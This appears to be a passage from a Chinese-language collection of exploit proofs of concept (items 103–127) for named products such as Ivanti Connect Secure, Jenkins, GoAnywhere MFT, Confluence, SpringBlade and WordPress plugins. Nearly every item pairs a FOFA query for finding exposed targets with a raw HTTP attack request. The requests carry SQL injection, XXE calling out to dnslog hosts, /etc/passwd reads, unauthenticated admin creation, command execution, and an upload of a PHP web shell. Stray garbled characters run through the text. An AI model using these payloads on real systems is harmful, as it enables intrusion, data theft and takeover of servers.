<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
" a7 d! D$ r! w7 j, ^6 N
7 s, n* L# r- @6 ?' A103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
2 m7 O- `+ O+ ?( KFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


- z% h  c" t+ _其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
0 O2 C6 w+ k9 H- \) J6 m( w- d

% h! D2 p# h. J/ U5 w104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
9 f" |! R. o, E% I0 }+ y1 MFOFA：title="TOTOLINK"
: R3 \8 d$ o4 APOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
0 S* X& l( n" V$ M; {+ _3 A9 C$ @Accept:application/json,text/javascript，*/*;q=0.01
/ j2 M) T8 ^% t9 N3 pX-Requested-with: XMLHttpRequest
* ~+ r2 |" o6 W" J; ^& d# D  ZUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
( R: ^% B( V1 r2 yContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
2 l3 |' _$ q2 z+ K- yAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
# t' p6 `! ^7 X0 E
{
" M9 K5 [8 n( `$ y/ c6 E5 ~3 q"topicurl":"getSysStatusCfg",
"token":""
}

105. SpringBlade v3.2.0 export-user SQL 注入
) A, l9 w! P: a: m. U' N1 g- CFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

0 X" c; h  y. _5 v106. SpringBlade dict-biz/list SQL 注入
# S/ J  J. Z! Q( oFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
: R! n; U: f% Z6 zHost: your-ip
4 C& L# i& {4 \* c2 O! i4 z! AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
  k) z. u8 \0 P' `8 C+ zAccept-Encoding: gzip, deflate
2 _' `1 }" u" ]/ J& L: UAccept-Language: zh-CN,zh;q=0.9
& u" Q3 S  j2 ?  z; A5 ?, ]2 pConnection: close
( D1 ~: z1 g+ X5 u" `; I6 X6 E/ d
6 n- c, o+ s9 S# H
107. SpringBlade tenant/list SQL 注入
+ M+ {( \" G9 R7 G, pFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 j; F! `0 w% z( wBlade-Auth:替换为自己的
3 I6 a. }2 _5 |% dConnection: close


. ]0 W8 b. S2 l) J  e7 U108. D-Tale 3.9.0 SSRF
CVE-2024-21642
) j) }! k7 f: FFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
' ^9 Z, B9 h: I# {5 EHost: your-ip
9 I- G5 [9 t/ v8 E: bAccept: application/json, text/plain, */*
  n1 ~' R1 D7 V1 YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
2 Z; U. d, L( h9 y- tConnection: close
+ P3 _/ G8 j% q/ w  h0 l$ u
+ Q1 x5 F8 f8 g
109. Jenkins CLI 任意文件读取
CVE-2024-23897
8 e5 u& `# G4 |/ h' g: \FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
) V: j0 Q5 J+ D8 mHost:
& ~2 u7 G! j0 s+ HContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
* k2 F9 ?8 i6 wSide: upload
( @- d. c% x& O: |" j- YConnection: keep-alive
Content-Length: 163

; M! \, Y& g" Z# Rb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
0 k( k" J# u5 Y- `: k) j; X
# R8 Q- d3 Q. I
POST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
& O  q# Y1 k& @2 I  D; H. z9 ^, ?Content-Type: application/x-www-form-urlencoded
Content-Length: 0
6 g, M' T" C4 ^
, G# A. A* o4 D, x5 t$ O
; b* ?8 }# T$ w: `ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
) A- `% C% C% O" h  u% _[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


  Y4 g+ [) _2 G6 A110. Goanywhere MFT 未授权创建管理员
! f' Z) |4 s' oCVE-2024-0204
4 B% F, G4 @! N3 d) RFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
% l0 r% l) q# U2 @2 z  R& s2 I; \Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

1 U( ^; `. i3 _3 Q0 R
111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
1 Q5 }( I5 D. ?& O# y: d$ i! fGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
! {. U4 |( j  B# F0 C% pHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
/ h0 ?- `2 o" O! FAccept-Language: en
Accept-Encoding: gzip
& M( V# R3 y9 I+ k. l6 v
% K* _9 @4 |8 w" l+ v/ t4 j* E$ J8 @
112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
" n' |4 K  I8 w4 U# w; \! M% ?/ GPOST /wp-json/notificationx/v1/analytics HTTP/1.1
4 Q1 b2 q. W5 ]+ O9 zHost: {{Hostname}}
. e: ?. c; V) Q- W/ `" Z& {Content-Type: application/json
/ |1 V, ^; Y: v
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
8 Q. B6 r0 h: q5 c6 f( ]& m' t
( Y. ?" |" [- L% \; a; _
& b% x; P& J6 U- X$ U+ K4 s113. WordPress Automatic 插件任意文件下载和SSRF
( H0 J, }8 S5 H& q; LCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
1 H5 }2 }" Z2 P4 rUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
- o5 e9 _  ]* {Accept-Encoding: gzip
+ [0 V& C4 L9 h. l9 m

114. WordPress MasterStudy LMS插件 SQL注入
% I6 \$ p2 I0 Z4 bFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
  c$ t+ D2 s& m0 X  b6 Y9 l/ aHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
% H+ c7 ?; g5 X' FAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
4 X* T* Q2 z  U1 PConnection: close


115. WordPress Bricks Builder <= 1.9.6 RCE
, k( V$ k: d8 A2 r/ Q( h, KCVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
8 F6 Q  n* `& H8 ?- B# XUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
8 y5 M' y, O3 @* {$ c1 E7 rConnection: close
- N  C# F2 w  a& q& ~; \Accept-Encoding: gzip
$ B5 `. T) ^+ ?- F8 X) T

1 F! [. s) X; w: [, R) b* |& z+ q. k, q) U第二步替换nonce值，执行命令
% i: T, u( ~- v; ]POST /wp-json/bricks/v1/render_element HTTP/1.1
* X+ z! A0 N. QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
5 i( \" i; P$ v& N$ k& cConnection: close
7 y) n% ^, X7 a4 b8 f! tContent-Length: 356
3 u; V. x  ~6 n$ ~1 DContent-Type: application/json
Accept-Encoding: gzip

/ y3 ^: j$ i! Z$ l$ m{
"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
' G3 k1 U$ \& D1 d# M    "name": "container",
    "settings": {
      "hasLoop": "true",
/ D; [& J* Z5 q9 m- s      "query": {
- `% y# ?- q1 [        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
. h& N" B( J0 i; x: a      }
* q5 u/ p/ D( R2 l  s    }
2 ?& z& A# z) s* j% Z7 w" G$ `  }
8 H1 O2 B. L$ u3 k- _' f}
# v( x1 F/ L# ^6 t8 v, }8 J
* Q" G/ `; j$ V* S
# p* l1 H6 R4 T  g- j. e* t116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
1 |& ~. G' `  t3 yPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
% j9 X8 ~6 u, B4 vUser-Agent: Mozilla/5.0
! Z0 `; G' U, Q9 C9 i% ~1 s
----------767099171
Content-Disposition: form-data; name="action"
% k. _8 V5 _* M7 a- Zconfiguration_saveconfiguration
8 E# \1 V" t6 j8 g3 s----------767099171
" r+ P' G7 I5 @$ r! @Content-Disposition: form-data; name="form_request"
6 r& N0 n* `( C7 [# J5 ^& Mjssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
/ i0 }5 B  }, ]----------767099171--
9 G2 V  U' Z, W5 v

117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
" O! u; a! I& g3 E( z1 B, rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
) t  `8 [8 V0 X! aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 H# |$ ^. l$ L) [% RAccept-Encoding: gzip, deflate, br
" c: S$ d7 x, i5 {2 }+ @Connection: close
' X& L. R6 I; z" n: X& N  P' ]4 T- u  @Upgrade-Insecure-Requests: 1


& Y# _' H5 j% G: p& k9 a$ H6 G' i118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
$ ]( T: s0 z/ T2 B) f( [# QFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
5 z. w# z, B( r8 q' e* sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 W8 `+ @" Q$ H; U- u9 PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( @# ?# ?" d, A& I* Z$ ^' V) X2 `5 aAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
4 i7 v2 j6 C* I/ ?Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
( y# U0 x2 _2 u; jSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
1 M- v5 c* ^% k! {$ u# j( b+ jTe: trailers
' H; Y0 v9 Q# o( G: {8 V$ DConnection: close
4 t$ ]& ]  Y* N( e2 Z6 Y
3 S- j$ o1 ~3 V+ m-----------------------------13979701222747646634037182887
7 d& n6 \3 H  b/ Z% c, d9 a- `Content-Disposition: form-data; name="file_upload"; filename="contents.php"
& I& A1 l' ?$ N6 L% O. UContent-Type: application/octet-stream
, Z# Y8 L8 [; c( n' w/ a0 k$ p% x
; R! U. C  N4 p3 L! p: R* e: ~% R<?php
: \  I3 g2 [5 ^* T2 Zsystem($_POST["passwd"]);
?>
' R; X3 ?' [, E! O$ ~-----------------------------13979701222747646634037182887
2 w$ N9 W! r  l. I  h2 ~Content-Disposition: form-data; name="txt_path"

/home/src.php
3 L3 c; v$ f5 K' {; E-----------------------------13979701222747646634037182887--
+ Q! l# X; v5 l: Q% M

# ]4 V+ t9 L' K访问/home/src.php
9 E% V# s1 z8 N% V( I7 Z
( E# k- ^5 j9 h4 N119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
8 D" s  X4 k" r5 m0 W5 S3 ^Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
* a4 P5 t. F  {- `3 yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
% ^: ^3 u3 x0 W7 oAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. W5 ~$ z3 v& T3 ZAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
! G$ _. {. J7 E5 U. h% ]" _Origin: https://58.18.133.60:8443
0 Z# J8 F2 S" p! N5 `Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
$ N9 `5 _' P( w" P/ w1 U: xSec-Fetch-Mode: cors
9 p% @1 L/ w0 USec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
. E' Y5 v2 Y% @9 C' T. FTe: trailers
/ ?) h! G: H; I" lConnection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
; ^+ ~. M! B8 g" Z
' _% U+ D8 A6 E' z
$ q$ u9 }. M$ z: j6 B0 r120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
0 i* {# m& w) ]FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
/ g, p1 Q7 c5 v# Q7 R2 Y. B5 t+ y. mCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
' `# M& L3 y' I1 s" b" X2 ?* u; aUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# {! T) W9 _2 W( ^8 mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! g, M( d. h9 uAccept-Encoding: gzip, deflate
! y$ S8 Y0 c$ @: [, NContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
7 W/ {1 x1 l6 Q" R6 R% e# V7 POrigin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
# R- \) f2 Q0 ^5 ]9 |Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
) x/ g0 {. f* k% W" S5 oSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

% Y- G1 `4 k8 c) I8 ]  {* N% p-----------------------------42328904123665875270630079328
8 \2 q6 T* l9 K0 s0 X5 Q" F4 uContent-Disposition: form-data; name="file_upload"; filename="2.php"
9 i, q1 a' j' L% {% ?Content-Type: application/octet-stream

<?php phpinfo()?>
-----------------------------42328904123665875270630079328
0 F* Z* r+ w3 I* F/ w6 EContent-Disposition: form-data; name="id_type"
7 m: l" @" H! u/ g# c
2 O3 {7 P& Q5 W2 ]7 `- J1
) _) h$ ?; O+ [7 Z-----------------------------42328904123665875270630079328
% y% Z4 t! n# F& y7 P) J' }Content-Disposition: form-data; name="1_ck"

( b9 q) V" A" v4 R, a5 `1_radhttp
+ ^( M, o$ W1 U9 a  H9 v2 ~-----------------------------42328904123665875270630079328
' t: B' X4 {4 }1 wContent-Disposition: form-data; name="mode"
8 a5 b% C" |$ t; q4 M
import
: u# w7 x6 I- Y% U-----------------------------42328904123665875270630079328

0 {9 i  A7 o7 M0 S6 I
文件路径/upload/2.php
; M( C' q0 e8 B4 k1 H2 j; ^
$ b% M7 W! ~/ k) t, @2 g% d121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
3 b( \" @% ^* A/ b% cFOFA：title="Smart管理平台"
4 u3 m& w& e2 O8 O/ L% N" ~  J) c0 W3 f4 APOST /useratte/userattestation.php HTTP/1.1
( l/ [/ l- [4 ^+ \4 I3 k+ g8 Y2 O2 AHost: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
  F0 p: R7 l2 }* h$ _User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
  o5 x- o& N* I& R" ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! c2 Z' r  R; E5 YAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
' k8 r/ X( L( {' lContent-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
; f& ?- g+ [; }% E/ b( ]% T7 MSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
/ z/ Y# q1 Q1 A
- r) Y0 n! Y0 `) |( g' n-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

, E) H- S# I1 W<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

  A. }/ ~. o% X! z; n8 W' p% K5 ~0 R1
; @& {% G7 g7 x" p-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

) o8 R5 d3 k2 }2 F: s# r3 R2 _2 @1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

2 z: e  Z5 l/ {+ nset
-----------------------------42328904123665875270630079328
$ X: Z& d- s% ~& c0 Z3 q& i
2 R5 n0 v: u) R( O
+ N9 l% O4 W8 b+ ~/ t; R! _boot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
& l) }6 C, {0 b" rCVE-2024-27718FOFA：title="Smart管理平台"
" {0 ?  f% }' K, m; \/ x4 z  e其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
/ E! N, P$ }" N) H& g4 u0 iHost: x.x.x.x
$ E: H2 E. f8 J+ L, S- ICookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
( W% @6 Y3 d+ x4 L! ]( }, K8 N/ O& QUpgrade-Insecure-Requests: 1
2 S0 q8 x  r- P6 rSec-Fetch-Dest: document
" L2 O/ q. _& c, S! }- G: `Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
9 V- w' F- K, u. I7 jSec-Fetch-User: ?1
Te: trailers
. z* b5 U. ]- [Connection: close


123. Atlassian Confluence 模板注入代码执行
# `. }# r; k' d" n. D* MFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
6 F7 r$ s) b4 D' C6 ?# APOST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
# j" f7 n( [- B1 A, hAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
! Z+ ?4 T" o" {7 l* a/ WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
5 A0 s- ]/ e" f* k& g8 p8 yConnection: close
Content-Type: application/x-www-form-urlencoded
3 m2 H, X; n* Y: x* q+ x4 h, ]
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
0 y5 ^. }0 h: g+ x0 X; M
* H4 \, T' b- _8 A; ^  _' H
8 x6 M; K5 j" s9 \* h124. 湖南建研工程质量检测系统任意文件上传
# F* z2 ~1 J! B3 j& nFOFA：body="/Content/Theme/Standard/webSite/login.css"
+ Z# q9 x, d7 E/ {" C0 CPOST /Scripts/admintool?type=updatefile HTTP/1.1
) Z4 @. w' U% G5 B1 V, _6 @Host: 192.168.40.130:8282
  u/ Q+ Y; _" l1 ]User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
6 K; @& E$ b" I; R  H' M; `5 nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
$ o& j& F. n/ U/ \, d! z* C, wAccept-Encoding: gzip, deflate, br
) V8 Y. ]4 l( gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' C9 t% Q0 v& |/ g; U/ x  C' F# R0 PConnection: close
Content-Type: application/x-www-form-urlencoded

$ }, d: n* F& \; Z; S, x1 j# y) qfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>

  Z) s% E& l9 W
0 D: d$ c* W1 ~  \% `1 W$ s, a* ghttp://192.168.40.130:8282/Scripts/abcgcg.aspx
6 I/ W* N( W# ]" W; p
4 ?: o0 x1 n3 y2 x2 c, b. F125. ConnectWise ScreenConnect身份验证绕过
8 H/ ?; V" g) q& `CVE-2024-1709
: }" |  z+ G8 s% P6 t$ V5 x( `FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc

7 C& l% z0 e1 M6 i( U% W" a
使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
& w2 t, Y0 y. d& q6 Y, j
/ Z; }+ v1 N* U" E; J( k
创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
" |$ U) Q( d2 H+ `7 r! [4 UFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
5 Z# E6 O, M8 F  U4 zAccept: */*
Accept-Language: en
Accept-Encoding: gzip
& Z- f! w; C: W0 n
# h& ?# a! d% ?+ ?
127. 广联达Linkworks DataExchange.ashx XXE
, S: M- Z, j( h! |/ B' q8 UFOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
, q! t0 [7 |/ q2 sHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
0 J% H# `1 [5 z( W% ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
/ h6 s, y0 q$ ^Accept-Language: zh-CN,zh;q=0.9
Connection: close
! R' B" Z. S; w! bContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
  I7 @1 S9 |4 U: o9 P* O7 ASec-Purpose: prefetch;prerender
( h. w1 j# J- h( Q% D) l
------WebKitFormBoundaryJGgV5l5ta05yAIe0
( P, z- m, y3 l, B7 IContent-Disposition: form-data;name="SystemName"
8 |% S8 {# {1 R& j8 D% C  Z+ J+ H! D
BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
